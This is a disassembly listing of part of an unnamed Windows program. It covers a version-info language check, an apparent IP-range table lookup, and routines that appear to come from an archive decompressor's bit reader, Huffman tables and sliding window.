jz short loc_9AEE42
lea eax, [ebp+puLen]
push eax ; puLen
lea eax, [ebp+lpBuffer]
push eax ; lplpBuffer
push offset SubBlock ; "\\VarFileInfo\\Translation"
push edi ; pBlock
call VerQueryValueA
test eax, eax
jz short loc_9AEE42
cmp [ebp+puLen], ebx
jz short loc_9AEE42
mov eax, [ebp+lpBuffer]
movzx eax, word ptr [eax]
mov [ebp+var_1C], eax
cmp ax, 804h
jz short loc_9AEE42
cmp ax, 416h
jz short loc_9AEE42
and eax, 0FFFF03FFh
mov [ebp+var_1C], eax
loc_9AEE42: ; CODE XREF: sub_9AED7C+8Bj
; sub_9AED7C+A2j ...
push edi ; hMem
call GlobalFree
jmp short loc_9AEE52
; ---------------------------------------------------------------------------
loc_9AEE4B: ; DATA XREF: .text:stru_9A6A40o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AEE4F: ; DATA XREF: .text:stru_9A6A40o
mov esp, [ebp+ms_exc.old_esp]
loc_9AEE52: ; CODE XREF: sub_9AED7C+66j
; sub_9AED7C+78j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov ax, word ptr [ebp+var_1C]
call __SEH_epilog
retn
sub_9AED7C endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AEE60(const void *, const void *)
sub_9AEE60 proc near ; DATA XREF: sub_9AEEBC+80o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [eax]
cmp [esp+arg_0], ecx
jb short loc_9AEE7B
movzx eax, byte ptr [eax+4]
add eax, ecx
cmp eax, [esp+arg_0]
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
loc_9AEE7B: ; CODE XREF: sub_9AEE60+Aj
or eax, 0FFFFFFFFh
retn
sub_9AEE60 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AEE7F(const void *, const void *)
sub_9AEE7F proc near ; DATA XREF: sub_9AEEBC+55o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [eax]
cmp [esp+arg_0], ecx
jb short loc_9AEE9A
movzx eax, word ptr [eax+4]
add eax, ecx
cmp eax, [esp+arg_0]
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
loc_9AEE9A: ; CODE XREF: sub_9AEE7F+Aj
or eax, 0FFFFFFFFh
retn
sub_9AEE7F endp
; =============== S U B R O U T I N E =======================================
; int __cdecl PtFuncCompare(const void *, const void *)
PtFuncCompare proc near ; DATA XREF: sub_9AEEBC+2Ao
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [eax]
cmp [esp+arg_0], ecx
jb short loc_9AEEB8
mov eax, [eax+4]
add eax, ecx
cmp eax, [esp+arg_0]
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
loc_9AEEB8: ; CODE XREF: PtFuncCompare+Aj
or eax, 0FFFFFFFFh
retn
PtFuncCompare endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AEEBC(u_long netlong)
sub_9AEEBC proc near ; CODE XREF: sub_9AEF58+27p
netlong = dword ptr 4
push ebx
push esi
push edi
push [esp+0Ch+netlong] ; netlong
or bl, 0FFh
call ntohl_0
mov esi, bsearch
mov edi, eax
mov eax, ds:Base
test eax, eax
jz short loc_9AEEFE
mov ecx, ds:NumOfElements
test ecx, ecx
jz short loc_9AEEFE
push offset PtFuncCompare ; PtFuncCompare
push 9 ; SizeOfElements
push ecx ; NumOfElements
push eax ; Base
push edi ; Key
call esi ; bsearch
add esp, 14h
test eax, eax
jz short loc_9AEEFE
mov bl, [eax+8]
jmp short loc_9AEF52
; ---------------------------------------------------------------------------
loc_9AEEFE: ; CODE XREF: sub_9AEEBC+1Ej
; sub_9AEEBC+28j ...
mov ecx, ds:dword_9BA2C0
test ecx, ecx
jz short loc_9AEF29
mov eax, ds:dword_9BA2C4
test eax, eax
jz short loc_9AEF29
push offset sub_9AEE7F ; PtFuncCompare
push 7 ; SizeOfElements
push eax ; NumOfElements
push ecx ; Base
push edi ; Key
call esi ; bsearch
add esp, 14h
test eax, eax
jz short loc_9AEF29
mov bl, [eax+6]
jmp short loc_9AEF52
; ---------------------------------------------------------------------------
loc_9AEF29: ; CODE XREF: sub_9AEEBC+4Aj
; sub_9AEEBC+53j ...
mov ecx, ds:dword_9BA2B0
test ecx, ecx
jz short loc_9AEF52
mov eax, ds:dword_9BA2AC
test eax, eax
jz short loc_9AEF52
push offset sub_9AEE60 ; PtFuncCompare
push 6 ; SizeOfElements
push eax ; NumOfElements
push ecx ; Base
push edi ; Key
call esi ; bsearch
add esp, 14h
test eax, eax
jz short loc_9AEF52
mov bl, [eax+5]
loc_9AEF52: ; CODE XREF: sub_9AEEBC+40j
; sub_9AEEBC+6Bj ...
pop edi
pop esi
mov al, bl
pop ebx
retn
sub_9AEEBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AEF58(u_long netlong)
sub_9AEF58 proc near ; CODE XREF: sub_9A9BBC+57p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_19 = byte ptr -19h
ms_exc = CPPEH_RECORD ptr -18h
netlong = dword ptr 8
push 14h
push offset stru_9A6A50
call __SEH_prolog
mov [ebp+var_24], 9
and [ebp+ms_exc.disabled], 0
push [ebp+netlong]
call sub_9AB389
pop ecx
test eax, eax
jz short loc_9AEFBE
push [ebp+netlong] ; netlong
call sub_9AEEBC
pop ecx
mov [ebp+var_19], al
cmp al, 0FFh
jz short loc_9AEFCF
and [ebp+var_20], 0
loc_9AEF90: ; CODE XREF: sub_9AEF58+64j
cmp [ebp+var_20], 17h
jnb short loc_9AEFCF
mov ecx, [ebp+var_20]
shl ecx, 2
cmp al, ds:byte_9A69C8[ecx]
jb short loc_9AEFB9
cmp al, ds:byte_9A69C9[ecx]
ja short loc_9AEFB9
mov ax, ds:word_9A69CA[ecx]
mov word ptr [ebp+var_24], ax
jmp short loc_9AEFCF
; ---------------------------------------------------------------------------
loc_9AEFB9: ; CODE XREF: sub_9AEF58+4Aj
; sub_9AEF58+52j
inc [ebp+var_20]
jmp short loc_9AEF90
; ---------------------------------------------------------------------------
loc_9AEFBE: ; CODE XREF: sub_9AEF58+22j
mov eax, ds:dword_9BA2B4
mov [ebp+var_24], eax
jmp short loc_9AEFCF
; ---------------------------------------------------------------------------
loc_9AEFC8: ; DATA XREF: .text:stru_9A6A50o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AEFCC: ; DATA XREF: .text:stru_9A6A50o
mov esp, [ebp+ms_exc.old_esp]
loc_9AEFCF: ; CODE XREF: sub_9AEF58+32j
; sub_9AEF58+3Cj ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov ax, word ptr [ebp+var_24]
call __SEH_epilog
retn
sub_9AEF58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AEFDD proc near ; CODE XREF: StartAddress+1CDp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 10h
push offset stru_9A6A80
call __SEH_prolog
xor esi, esi
cmp word ptr ds:dword_9BA2B4, si
jnz loc_9AF0B6
mov [ebp+ms_exc.disabled], esi
call sub_9AED7C
mov word ptr ds:dword_9BA2B4, ax
cmp [ebp+arg_0], esi
jz loc_9AF0B2
mov ebx, [ebp+arg_4]
cmp ebx, esi
jz loc_9AF0B2
mov [ebp+var_1C], ebx
push 1Eh
mov edi, offset dword_9A6A5C
push edi
push ebx
push [ebp+arg_0]
call sub_9AE06F
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_0]
call sub_9AF0BC
mov esi, eax
mov [ebp+var_20], esi
push 1Eh
push edi
push ebx
push [ebp+arg_0]
call sub_9AE06F
add esp, 28h
test esi, esi
jz short loc_9AF0B2
cmp [ebp+var_1C], 0
jz short loc_9AF0B2
lea eax, [esi+4]
mov ds:dword_9BA2B0, eax
mov ecx, [esi]
mov eax, ecx
xor edx, edx
push 6
pop edi
div edi
mov ds:dword_9BA2AC, eax
lea eax, [ecx+esi+8]
mov ds:dword_9BA2C0, eax
mov eax, [ecx+esi+4]
xor edx, edx
push 7
pop edi
div edi
mov ds:dword_9BA2C4, eax
mov eax, [ecx+esi+4]
add eax, ecx
add eax, esi
lea ecx, [eax+0Ch]
mov ds:Base, ecx
mov eax, [eax+8]
xor edx, edx
push 9
pop ecx
div ecx
mov ds:NumOfElements, eax
jmp short loc_9AF0B2
; ---------------------------------------------------------------------------
loc_9AF0AB: ; DATA XREF: .text:stru_9A6A80o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AF0AF: ; DATA XREF: .text:stru_9A6A80o
mov esp, [ebp+ms_exc.old_esp]
loc_9AF0B2: ; CODE XREF: sub_9AEFDD+2Cj
; sub_9AEFDD+37j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
loc_9AF0B6: ; CODE XREF: sub_9AEFDD+15j
call __SEH_epilog
retn
sub_9AEFDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AF0BC proc near ; CODE XREF: sub_9AEFDD+58p
Memory = dword ptr -450h
var_44C = byte ptr -44Ch
var_430 = dword ptr -430h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 440h
push offset stru_9A6A90
call __SEH_prolog
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+ms_exc.disabled], ebx
mov esi, [ebp+arg_4]
push dword ptr [esi] ; Size
push ebx ; char
push [ebp+arg_0] ; int
call sub_9B3EA2
add esp, 0Ch
mov [ebp+var_24], eax
cmp eax, 0FFFFFFFFh
jz loc_9AF18D
mov [ebp+Memory], ebx
mov ecx, 108h
xor eax, eax
lea edi, [ebp+var_44C]
rep stosd
lea eax, [ebp+Memory]
push eax ; Memory
push [ebp+var_24] ; int
call sub_9B0DF4
pop ecx
pop ecx
test eax, eax
jnz short loc_9AF177
or [ebp+var_430], 0FFFFFFFFh
lea eax, [ebp+Memory]
push eax
call sub_9B0F21
pop ecx
test eax, eax
jnz short loc_9AF177
mov [ebp+var_1C], ebx
push ebx
lea eax, [ebp+Memory]
push eax
call sub_9B0FE1
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
call sub_9B3D11
add esp, 0Ch
mov [ebp+var_2C], eax
cmp [ebp+var_28], ebx
jnz short loc_9AF16B
cmp eax, ebx
jz short loc_9AF177
mov ecx, [ebp+var_1C]
cmp ecx, ebx
jz short loc_9AF16B
mov [ebp+var_20], eax
mov [esi], ecx
jmp short loc_9AF177
; ---------------------------------------------------------------------------
loc_9AF16B: ; CODE XREF: sub_9AF0BC+9Bj
; sub_9AF0BC+A6j
cmp eax, ebx
jz short loc_9AF177
push eax ; Memory
call free
pop ecx
loc_9AF177: ; CODE XREF: sub_9AF0BC+5Cj
; sub_9AF0BC+74j ...
lea eax, [ebp+Memory]
push eax
call sub_9B1166
pop ecx
jmp short loc_9AF18D
; ---------------------------------------------------------------------------
loc_9AF186: ; DATA XREF: .text:stru_9A6A90o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AF18A: ; DATA XREF: .text:stru_9A6A90o
mov esp, [ebp+ms_exc.old_esp]
loc_9AF18D: ; CODE XREF: sub_9AF0BC+2Ej
; sub_9AF0BC+C8j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_20]
call __SEH_epilog
retn
sub_9AF0BC endp
; =============== S U B R O U T I N E =======================================
sub_9AF19A proc near ; CODE XREF: sub_9B030E+70Dp
; sub_9B030E+84Fp
arg_0 = dword ptr 4
lea ecx, [eax+408AFCh]
mov edx, [ecx]
mov [eax+408B00h], edx
lea edx, [eax+408AF8h]
push esi
mov esi, [edx]
mov [ecx], esi
add eax, 408AF4h
mov ecx, [eax]
mov [edx], ecx
mov ecx, [esp+4+arg_0]
mov [eax], ecx
pop esi
retn
sub_9AF19A endp
; =============== S U B R O U T I N E =======================================
sub_9AF1C4 proc near ; CODE XREF: sub_9B030E+59Bp
; sub_9B030E+866p
arg_0 = dword ptr 4
push esi
mov esi, [eax+40800Ch]
push edi
mov edi, ecx
mov ecx, esi
sub ecx, [esp+8+arg_0]
mov edx, 3FFEFCh
cmp ecx, edx
jnb short loc_9AF221
cmp esi, edx
jnb short loc_9AF221
mov dl, [ecx+eax+8004h]
mov [esi+eax+8004h], dl
inc dword ptr [eax+40800Ch]
mov edx, [eax+40800Ch]
inc ecx
dec edi
jz short loc_9AF257
lea esi, [ecx+eax+8004h]
loc_9AF206: ; CODE XREF: sub_9AF1C4+59j
mov cl, [esi]
mov [edx+eax+8004h], cl
inc dword ptr [eax+40800Ch]
mov edx, [eax+40800Ch]
inc esi
dec edi
jnz short loc_9AF206
jmp short loc_9AF257
; ---------------------------------------------------------------------------
loc_9AF221: ; CODE XREF: sub_9AF1C4+17j
; sub_9AF1C4+1Bj
test edi, edi
jz short loc_9AF257
mov esi, 3FFFFFh
push ebx
loc_9AF22B: ; CODE XREF: sub_9AF1C4+90j
mov ebx, [eax+40800Ch]
mov edx, ecx
and edx, esi
mov dl, [edx+eax+8004h]
mov [eax+ebx+8004h], dl
mov edx, [eax+40800Ch]
inc ecx
inc edx
and edx, esi
dec edi
mov [eax+40800Ch], edx
jnz short loc_9AF22B
pop ebx
loc_9AF257: ; CODE XREF: sub_9AF1C4+39j
; sub_9AF1C4+5Bj ...
pop edi
pop esi
retn
sub_9AF1C4 endp
; =============== S U B R O U T I N E =======================================
sub_9AF25A proc near ; CODE XREF: sub_9AF7C6+89p
; sub_9AF875+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
lea edx, [ecx+408008h]
add eax, [edx]
push esi
mov esi, eax
sar esi, 3
add [ecx+408004h], esi
and eax, 7
mov [edx], eax
pop esi
retn
sub_9AF25A endp
; =============== S U B R O U T I N E =======================================
sub_9AF27D proc near ; CODE XREF: sub_9AF7C6+7p
; sub_9AF875+43p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [edx+408004h]
push ebx
xor ebx, ebx
add eax, edx
mov bh, [eax+4]
push 8
pop ecx
sub ecx, [edx+408008h]
mov bl, [eax+5]
movzx eax, byte ptr [eax+6]
shl ebx, 8
or ebx, eax
shr ebx, cl
and ebx, 0FFFFh
mov eax, ebx
pop ebx
retn
sub_9AF27D endp
; =============== S U B R O U T I N E =======================================
sub_9AF2B0 proc near ; CODE XREF: sub_9AF380+16p
; sub_9AF875+21p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
mov ecx, [esi+408018h]
mov eax, [esi+408004h]
push edi
mov edi, ecx
sub edi, eax
jns short loc_9AF2CF
xor eax, eax
jmp loc_9AF37D
; ---------------------------------------------------------------------------
loc_9AF2CF: ; CODE XREF: sub_9AF2B0+16j
cmp eax, 4000h
jle short loc_9AF2FC
test edi, edi
jle short loc_9AF2ED
lea eax, [eax+esi+4]
push edi ; Size
push eax ; Src
lea eax, [esi+4]
push eax ; Dst
call memmove
add esp, 0Ch
loc_9AF2ED: ; CODE XREF: sub_9AF2B0+28j
and dword ptr [esi+408004h], 0
mov [esi+408018h], edi
jmp short loc_9AF2FE
; ---------------------------------------------------------------------------
loc_9AF2FC: ; CODE XREF: sub_9AF2B0+24j
mov edi, ecx
loc_9AF2FE: ; CODE XREF: sub_9AF2B0+4Aj
mov ecx, [esi+40D7F8h]
push ebx
mov ebx, 8000h
mov eax, ebx
sub eax, edi
and eax, 0FFFFFFF0h
cmp ecx, eax
jnb short loc_9AF317
mov eax, ecx
loc_9AF317: ; CODE XREF: sub_9AF2B0+63j
push eax ; Size
lea eax, [edi+esi+4]
push eax ; Dst
push [esp+14h+arg_0] ; int
call sub_9B3D6A
mov edi, eax
add esp, 0Ch
test edi, edi
jle short loc_9AF33B
add [esi+408018h], edi
sub [esi+40D7F8h], edi
loc_9AF33B: ; CODE XREF: sub_9AF2B0+7Dj
mov eax, [esi+408018h]
lea ecx, [eax-1Eh]
cmp ecx, [esi+408004h]
mov [esi+40801Ch], ecx
jge short loc_9AF374
lea ecx, [eax+1Eh]
cmp ecx, ebx
jge short loc_9AF35E
push 1Eh
pop ecx
jmp short loc_9AF364
; ---------------------------------------------------------------------------
loc_9AF35E: ; CODE XREF: sub_9AF2B0+A7j
mov ecx, ebx
sub ecx, eax
jz short loc_9AF374
loc_9AF364: ; CODE XREF: sub_9AF2B0+ACj
push ecx ; Size
lea eax, [eax+esi+4]
push 0 ; Val
push eax ; Dst
call memset
add esp, 0Ch
loc_9AF374: ; CODE XREF: sub_9AF2B0+A0j
; sub_9AF2B0+B2j
xor eax, eax
cmp edi, 0FFFFFFFFh
setnz al
pop ebx
loc_9AF37D: ; CODE XREF: sub_9AF2B0+1Aj
pop edi
pop esi
retn
sub_9AF2B0 endp
; =============== S U B R O U T I N E =======================================
sub_9AF380 proc near ; CODE XREF: sub_9B24CC+Ep
; sub_9B24CC+2Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
cmp dword ptr [esi+408004h], 7FE2h
jle short loc_9AF3A6
push esi
push [esp+8+arg_0]
call sub_9AF2B0
test eax, eax
pop ecx
pop ecx
jnz short loc_9AF3A6
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_9AF3A6: ; CODE XREF: sub_9AF380+Fj
; sub_9AF380+1Fj
mov eax, [esi+408004h]
mov cl, [eax+esi+4]
inc eax
mov [esi+408004h], eax
movzx eax, cl
pop esi
retn
sub_9AF380 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AF3BC(void *Src, size_t Size)
sub_9AF3BC proc near ; CODE XREF: sub_9AF3FD+1Cp
; sub_9AF3FD+2Bp ...
Src = dword ptr 4
Size = dword ptr 8
push esi
push [esp+4+Size] ; Size
mov esi, eax
push [esp+8+Src] ; Src
push dword ptr [esi] ; int
call sub_9B3DC6
add esp, 0Ch
test eax, eax
jle short loc_9AF3E1
cdq
lea ecx, [esi+40D7BCh]
add [ecx], eax
adc [ecx+4], edx
loc_9AF3E1: ; CODE XREF: sub_9AF3BC+17j
push [esp+4+Size]
add esi, 40D7F4h
push [esp+8+Src]
push dword ptr [esi]
call sub_9B27A7
add esp, 0Ch
mov [esi], eax
pop esi
retn
sub_9AF3BC endp
; =============== S U B R O U T I N E =======================================
; int __fastcall sub_9AF3FD(size_t Size)
sub_9AF3FD proc near ; CODE XREF: sub_9AF4A5+7Cp
; sub_9AF4A5+20Ap
push edi
mov edi, ecx
cmp edi, eax
jnb short loc_9AF432
mov ecx, eax
neg ecx
and ecx, 3FFFFFh
lea eax, [esi+eax+8004h]
push ecx ; Size
push eax ; Src
mov eax, esi
call sub_9AF3BC
lea eax, [esi+8004h]
push edi ; Size
push eax ; Src
mov eax, esi
call sub_9AF3BC
add esp, 10h
pop edi
retn
; ---------------------------------------------------------------------------
loc_9AF432: ; CODE XREF: sub_9AF3FD+5j
sub edi, eax
lea eax, [esi+eax+8004h]
push edi ; Size
push eax ; Src
mov eax, esi
call sub_9AF3BC
pop ecx
pop ecx
pop edi
retn
sub_9AF3FD endp
; =============== S U B R O U T I N E =======================================
sub_9AF448 proc near ; CODE XREF: sub_9AF4A5+113p
; sub_9AF4A5+18Ep
cmp dword ptr [edi+18h], 0
push esi
mov esi, eax
jle short loc_9AF4A3
mov eax, [esi+40D7BCh]
mov [edi+3Ch], eax
push dword ptr [esi+40D7BCh]
mov eax, [edi+0Ch]
add eax, 24h
push eax
push 0
call sub_9B278D
mov eax, [esi+40D7BCh]
mov edx, [esi+40D7C0h]
add esp, 0Ch
mov cl, 20h
call __allshr
push eax
mov eax, [edi+0Ch]
add eax, 28h
push eax
push 0
call sub_9B278D
push edi ; Size
add esi, 40D7CCh
push esi ; int
call sub_9B3713
add esp, 14h
loc_9AF4A3: ; CODE XREF: sub_9AF448+7j
pop esi
retn
sub_9AF448 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AF4A5 proc near ; CODE XREF: sub_9B030E+4AEp
; sub_9B030E+733p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Src = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
and [ebp+var_4], 0
push ebx
push esi
mov esi, eax
mov eax, [esi+408010h]
mov ecx, [esi+40800Ch]
sub ecx, eax
and ecx, 3FFFFFh
cmp dword ptr [esi+40D7ACh], 0
push edi
jbe loc_9AF6A9
loc_9AF4D5: ; CODE XREF: sub_9AF4A5+1FEj
mov ebx, [ebp+var_4]
mov edx, [esi+40D7A8h]
shl ebx, 2
mov edx, [ebx+edx]
test edx, edx
mov [ebp+var_8], edx
jz loc_9AF697
cmp dword ptr [edx+0Ch], 0
jz short loc_9AF4FE
and dword ptr [edx+0Ch], 0
jmp loc_9AF697
; ---------------------------------------------------------------------------
loc_9AF4FE: ; CODE XREF: sub_9AF4A5+4Ej
mov edi, [edx]
mov edx, [edx+4]
mov [ebp+Src], edx
mov edx, edi
sub edx, eax
and edx, 3FFFFFh
cmp edx, ecx
mov [ebp+var_14], edi
jnb loc_9AF697
cmp eax, edi
jz short loc_9AF539
mov ecx, edi ; Size
call sub_9AF3FD
mov ecx, [esi+40800Ch]
sub ecx, edi
mov edx, 3FFFFFh
mov eax, edi
and ecx, edx
jmp short loc_9AF53E
; ---------------------------------------------------------------------------
loc_9AF539: ; CODE XREF: sub_9AF4A5+78j
mov edx, 3FFFFFh
loc_9AF53E: ; CODE XREF: sub_9AF4A5+92j
cmp [ebp+Src], ecx
ja loc_9AF6C5
mov ecx, [ebp+Src]
lea eax, [ecx+edi]
and eax, edx
cmp edi, eax
mov [ebp+var_10], eax
jb short loc_9AF596
test eax, eax
jz short loc_9AF596
mov eax, edx
sub eax, edi
push eax ; int
mov [ebp+Src], eax
lea eax, [esi+edi+8004h]
push eax ; Src
lea ecx, [esi+40D7CCh]
push 0 ; int
push ecx ; int
call sub_9B2A35
push [ebp+var_10] ; int
lea eax, [esi+8004h]
push eax ; Src
push [ebp+Src] ; int
lea eax, [esi+40D7CCh]
push eax ; int
call sub_9B2A35
add esp, 20h
jmp short loc_9AF5B0
; ---------------------------------------------------------------------------
loc_9AF596: ; CODE XREF: sub_9AF4A5+AFj
; sub_9AF4A5+B3j
push ecx ; int
lea ecx, [edi+esi+8004h]
push ecx ; Src
lea eax, [esi+40D7CCh]
push 0 ; int
push eax ; int
call sub_9B2A35
add esp, 10h
loc_9AF5B0: ; CODE XREF: sub_9AF4A5+EFj
mov edi, [ebp+var_8]
add edi, 10h
mov eax, esi
call sub_9AF448
mov eax, [edi+14h]
mov edi, [edi+40h]
mov [ebp+Src], eax
mov eax, [esi+40D7A8h]
push dword ptr [ebx+eax] ; Memory
call sub_9B12A0
mov eax, [esi+40D7A8h]
and dword ptr [ebx+eax], 0
mov eax, [ebp+var_4]
inc eax
cmp eax, [esi+40D7ACh]
pop ecx
jnb loc_9AF679
mov [ebp+var_8], eax
loc_9AF5F2: ; CODE XREF: sub_9AF4A5+1CEj
mov eax, [esi+40D7A8h]
mov eax, [ebx+eax+4]
test eax, eax
jz short loc_9AF679
mov ecx, [ebp+var_14]
cmp [eax], ecx
jnz short loc_9AF679
cmp [eax+4], edi
jnz short loc_9AF679
cmp dword ptr [eax+0Ch], 0
jnz short loc_9AF679
push edi ; int
push [ebp+Src] ; Src
lea eax, [esi+40D7CCh]
push 0 ; int
push eax ; int
call sub_9B2A35
mov eax, [esi+40D7A8h]
mov edi, [ebx+eax+4]
add edi, 10h
mov eax, esi
call sub_9AF448
mov eax, [edi+14h]
inc [ebp+var_4]
mov edi, [edi+40h]
inc [ebp+var_8]
mov [ebp+Src], eax
mov eax, [ebp+var_4]
mov ebx, eax
mov eax, [esi+40D7A8h]
shl ebx, 2
push dword ptr [ebx+eax] ; Memory
call sub_9B12A0
mov eax, [esi+40D7A8h]
and dword ptr [ebx+eax], 0
mov eax, [ebp+var_8]
add esp, 14h
cmp eax, [esi+40D7ACh]
jb loc_9AF5F2
loc_9AF679: ; CODE XREF: sub_9AF4A5+144j
; sub_9AF4A5+159j ...
push edi ; Size
push [ebp+Src] ; Src
mov eax, esi
call sub_9AF3BC
mov eax, [ebp+var_10]
pop ecx
pop ecx
mov ecx, [esi+40800Ch]
sub ecx, eax
and ecx, 3FFFFFh
loc_9AF697: ; CODE XREF: sub_9AF4A5+44j
; sub_9AF4A5+54j ...
inc [ebp+var_4]
mov edx, [ebp+var_4]
cmp edx, [esi+40D7ACh]
jb loc_9AF4D5
loc_9AF6A9: ; CODE XREF: sub_9AF4A5+2Aj
mov ecx, [esi+40800Ch] ; Size
call sub_9AF3FD
mov eax, [esi+40800Ch]
loc_9AF6BA: ; CODE XREF: sub_9AF4A5+245j
pop edi
mov [esi+408010h], eax
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9AF6C5: ; CODE XREF: sub_9AF4A5+9Cj
mov edx, [ebp+var_4]
jmp short loc_9AF6E2
; ---------------------------------------------------------------------------
loc_9AF6CA: ; CODE XREF: sub_9AF4A5+243j
mov ecx, [esi+40D7A8h]
mov ecx, [ecx+edx*4]
test ecx, ecx
jz short loc_9AF6E1
cmp dword ptr [ecx+0Ch], 0
jz short loc_9AF6E1
and dword ptr [ecx+0Ch], 0
loc_9AF6E1: ; CODE XREF: sub_9AF4A5+230j
; sub_9AF4A5+236j
inc edx
loc_9AF6E2: ; CODE XREF: sub_9AF4A5+223j
cmp edx, [esi+40D7ACh]
jb short loc_9AF6CA
jmp short loc_9AF6BA
sub_9AF4A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AF6EC proc near ; CODE XREF: sub_9AF875+12Ap
; sub_9AF875+252p ...
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
Dst = dword ptr -40h
var_3C = dword ptr -3Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 80h
push ebx
push esi
push edi
push 40h ; Size
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call memset
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_4]
mov eax, ebx
shl eax, 2
push eax ; Size
lea eax, [esi+84h]
push edi ; Val
push eax ; Dst
call memset
add esp, 18h
xor ecx, ecx
cmp ebx, edi
jle short loc_9AF73D
loc_9AF728: ; CODE XREF: sub_9AF6EC+4Fj
mov eax, [ebp+arg_0]
movzx eax, byte ptr [ecx+eax]
and eax, 0Fh
lea eax, [ebp+eax*4+Dst]
inc dword ptr [eax]
inc ecx
cmp ecx, ebx
jl short loc_9AF728
loc_9AF73D: ; CODE XREF: sub_9AF6EC+3Aj
lea edx, [esi+44h]
push 0Eh
mov [ebp+Dst], edi
mov [esi+4], edi
mov [edx], edi
mov [ebp+var_80], edi
mov [ebp+arg_4], edi
pop ecx
loc_9AF751: ; CODE XREF: sub_9AF6EC+99j
mov eax, [ebp+edi+var_3C]
add eax, [ebp+arg_4]
mov ebx, 0FFFFh
shl eax, 1
mov [ebp+arg_4], eax
shl eax, cl
cmp eax, ebx
jle short loc_9AF76A
mov eax, ebx
loc_9AF76A: ; CODE XREF: sub_9AF6EC+7Aj
mov ebx, [edx]
mov [edx-3Ch], eax
mov eax, [ebp+edi+Dst]
add eax, ebx
add edx, 4
mov [ebp+edi+var_7C], eax
dec ecx
add edi, 4
cmp ecx, 0FFFFFFFFh
mov [edx], eax
jg short loc_9AF751
mov edx, [ebp+arg_8]
xor ecx, ecx
test edx, edx
jle short loc_9AF7BF
loc_9AF790: ; CODE XREF: sub_9AF6EC+D1j
mov eax, [ebp+arg_0]
lea edi, [ecx+eax]
cmp byte ptr [edi], 0
jz short loc_9AF7BA
xor eax, eax
mov al, [edi]
and eax, 0Fh
mov eax, [ebp+eax*4+var_80]
mov [esi+eax*4+84h], ecx
xor eax, eax
mov al, [edi]
and eax, 0Fh
lea eax, [ebp+eax*4+var_80]
inc dword ptr [eax]
loc_9AF7BA: ; CODE XREF: sub_9AF6EC+ADj
inc ecx
cmp ecx, edx
jl short loc_9AF790
loc_9AF7BF: ; CODE XREF: sub_9AF6EC+A2j
pop edi
mov [esi], edx
pop esi
pop ebx
leave
retn
sub_9AF6EC endp
; =============== S U B R O U T I N E =======================================
sub_9AF7C6 proc near ; CODE XREF: sub_9AF875+160p
; sub_9B030E+5EBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_9AF27D
mov ebx, [esp+10h+arg_4]
mov edi, eax
and edi, 0FFFEh
cmp edi, [ebx+24h]
pop ecx
jnb short loc_9AF81A
cmp edi, [ebx+14h]
jnb short loc_9AF801
cmp edi, [ebx+0Ch]
jnb short loc_9AF7F7
cmp edi, [ebx+8]
sbb esi, esi
inc esi
inc esi
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF7F7: ; CODE XREF: sub_9AF7C6+26j
cmp edi, [ebx+10h]
sbb esi, esi
add esi, 4
jmp short loc_9AF84A
; ---------------------------------------------------------------------------
loc_9AF801: ; CODE XREF: sub_9AF7C6+21j
cmp edi, [ebx+1Ch]
jnb short loc_9AF810
